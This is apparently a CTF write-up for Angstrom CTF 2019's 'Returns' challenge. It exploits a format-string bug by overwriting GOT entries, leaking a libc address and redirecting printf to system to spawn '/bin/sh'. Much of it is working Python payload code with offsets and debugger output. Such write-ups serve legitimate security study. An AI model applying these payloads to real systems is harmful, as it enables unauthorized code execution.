# Angstrom CTF 2019## Returns
> Need to make a return? This program might be able to help you out (source, libc).> /problems/2019/returns/> nc shell.actf.co 19307> Author: kmh11
---
### Checksec output> Arch:     amd64-64-little> RELRO:    Partial RELRO> Stack:    Canary found> NX:       NX enabled> PIE:      No PIE (0x400000)
### Given source code```C#include <stdlib.h>#include <stdio.h>#include <string.h>
int main() {	gid_t gid = getegid();	setresgid(gid, gid, gid);	setvbuf(stdin, NULL, _IONBF, 0);	setvbuf(stdout, NULL, _IONBF, 0);
	char item[50];	printf("What item would you like to return? ");	fgets(item, 50, stdin);	item[strlen(item)-1] = 0;
	if (strcmp(item, "nothing") == 0) {		printf("Then why did you even come here? ");	} else {		printf("We didn't sell you a ");		printf(item);		printf(". You're trying to scam us! We don't even sell ");		printf(item);		printf("s. Leave this place and take your ");		printf(item);		printf(" with you. ");	}	printf("Get out!\n");	return 0;}```
We are given the task's binary, the libc (which happens to be the libc from Ubuntu 16.04 Xenial) and... the source code!
This task is almost identical to the angstrom's purchases task except it doesn't havethe `flag` function which gave us the flag. Knowing that, we already know the vulnerability - format-string vulnerability.
The plan is to call `system("/bin/sh")`, so we need the libc base address. Then, knowing `system` address we want to redirect execution to it and pass`"/bin/sh"` as an argument.
How do we do it only with one possibility to write to the buffer `item`? We could make ourselves a loop.Luckily the binary has PIE disabled and last `printf` got translated into `puts`.If we overwrite GOT entry of puts with address right before fgets call weobtain a loop! Now we can use the format-string vulnerability multiple times.
### Custom loopFrom `0x401303` jumping to `0x40122e`.```0x40122e <main+136>    mov    rdx, qword ptr [rip + 0x2e4b] <0x404080>0x401235 <main+143>    lea    rax, [rbp - 0x40]0x401239 <main+147>    mov    esi, 0x320x40123e <main+152>    mov    rdi, rax0x401241 <main+155>    call   fgets@plt <0x401080>  # fgets(item, 50, stdin);(...)0x4012fc <main+342>    lea    rdi, [rip + 0xdcc]0x401303 <main+349>    call   puts@plt <0x401030>```
We need only to overwrite last 2 Bytes of the address, because `puts` got entryalready contains similar address.
#### GOT when calling first vulnerable printf for the first time```   0x401296 <main+240>    lea    rax, [rbp - 0x40]   0x40129a <main+244>    mov    rdi, rax   0x40129d <main+247>    mov    eax, 0 ► 0x4012a2 <main+252>    call   printf@plt <0x401070>``````pwndbg> gotGOT protection: Partial RELRO | GOT functions: 9[0x404018] puts@GLIBC_2.2.5 -> 0x401036 (puts@plt+6) ◂— push   0 /* 'h' */(...)```
The binary also overwrites byte before first nullbyte with a nullbyte.Thus we insert dummy `a` right before padding of nullbytes.
#### Payload creating a loop:```Pythongot_puts = 0x404018before_fgets = 0x40122e
payload = "%018u%12$hhn%028u%13$hhn" # set 40122epayload += 'a'payload += '\x00' * (32-len(payload))payload += p64(got_puts+1)payload += p64(got_puts)payload += '\n'```
#### How to get a libc leak then?Luckily there is `__libc_start_main+240` address on the stack when calling vulnerable`printf`.
```   0x401296 <main+240>    lea    rax, [rbp - 0x40]   0x40129a <main+244>    mov    rdi, rax   0x40129d <main+247>    mov    eax, 0 ► 0x4012a2 <main+252>    call   printf@plt <0x401070>        format: 0x7fffffffe5f0 ◂— 0x3200007024383125 /* '%18$p' */        vararg: 0x7fffffffbf48 ◂— "We didn't sell you a 507360000000000000000004158470016 "
pwndbg> stack 2000:0000│ rsp  0x7fffffffe5d8 —▸ 0x401308 (main+354) ◂— mov    eax, 001:0008│      0x7fffffffe5e0 —▸ 0x7ffff7ffe168 ◂— 0x002:0010│      0x7fffffffe5e8 ◂— 0xf0b5ff03:0018│ rdi  0x7fffffffe5f0 ◂— 0x3200007024383125 /* '%18$p' */04:0020│      0x7fffffffe5f8 ◂— '$hhn%028u%13$hhn'05:0028│      0x7fffffffe600 ◂— 'u%13$hhn'06:0030│      0x7fffffffe608 ◂— 0x007:0038│      0x7fffffffe610 —▸ 0x404019 (_GLOBAL_OFFSET_TABLE_+25) ◂— 0x200000000000401208:0040│      0x7fffffffe618 —▸ 0x404018 (_GLOBAL_OFFSET_TABLE_+24) —▸ 0x40122e (main+136) ◂— mov    rdx, qword ptr [rip + 0x2e4b]09:0048│      0x7fffffffe620 —▸ 0x7fffffff000a ◂— 0x00a:0050│      0x7fffffffe628 ◂— 0xb264bae28067b1000b:0058│ rbp  0x7fffffffe630 —▸ 0x401330 (__libc_csu_init) ◂— endbr64 0c:0060│      0x7fffffffe638 —▸ 0x7ffff7a2d830 (__libc_start_main+240) ◂— mov    edi, eax```
#### Payload leaking libc address:```Pythonpayload2 = "%18$p"payload2 += '\n'
io.send(payload2)io.recvuntil('sell you a ')libc_leak_hex_str = io.recvuntil('.') # (__libc_start_main+240) print(libc_leak_hex_str[:-1])libc_start_main_addr_240 = int(libc_leak_hex_str[2:-1], 16)
libc_start_main_addr = libc_start_main_addr_240 - 240libc_start_main_offset = 0x20740libc_base_addr = libc_start_main_addr - libc_start_main_offsetlibc_system_offset = 0x45390libc_system_addr = libc_base_addr + libc_system_offset```
With the libc leak, we calculate libc base address and then the address of a `system`function. Now, how do we call it with `"/bin/sh"`?We'll abuse another vulnerable printf call.
With one of the `printf`s we overwrite got entry of `printf` with `system`,and using another one we call `system("/bin/sh")`.We need to pass `"/bin/sh"` and rest of the payload at the same time. Luckily one can safely spawn shell with `system("/bin/sh;[rest of payload]")`.
Most of the times we'll need to overwrite only last 3 bytes of the address:
```[0x404038] printf@GLIBC_2.2.5 -> 0x7ffff7a62800 (printf) ◂— sub    rsp, 0xd8{<text variable, no debug info>} 0x7ffff7a52390 <__libc_system>```
I couldn't fit the payload overwriting 2 bytes and then 1 byte, so I overwrotelast 4 bytes.
I've also stumbled upon a limit with format-string padding:```Cunsigned int d = 13378;printf("aha%02147483614u!", d);    // prints "aha[zeroes]!"printf("aha%02147483615u!", d);    // prints "aha"```
Luckily we can execute exploit couple of times until it works.
#### Payload spawning shell:```Pythongot_printf = 0x404038
payload = "/bin/sh;"
# lowest 4Bto_write = libc_system_addr & 0xffffffffto_write -= len("/bin/sh;")
payload += "%0{}u%14$n".format(to_write)payload += 'a' # overwritten with NULLBYTE by binary itselfpayload += '\x00' * ((8 - len(payload)) % 8)# aligned to 8Bassert(payload[-1] == '\x00') # at least one NULLBYTE required
payload += p64(got_printf)payload += '\n'
assert(len(payload) <= 50)io.send(payload)```
When we overwrite 4 bytes at the same time, the binary prints massive amount of zeroes. Printing them to the console takes ages... but finally spawns our beloved shell.
@mzr - justCatTheFish
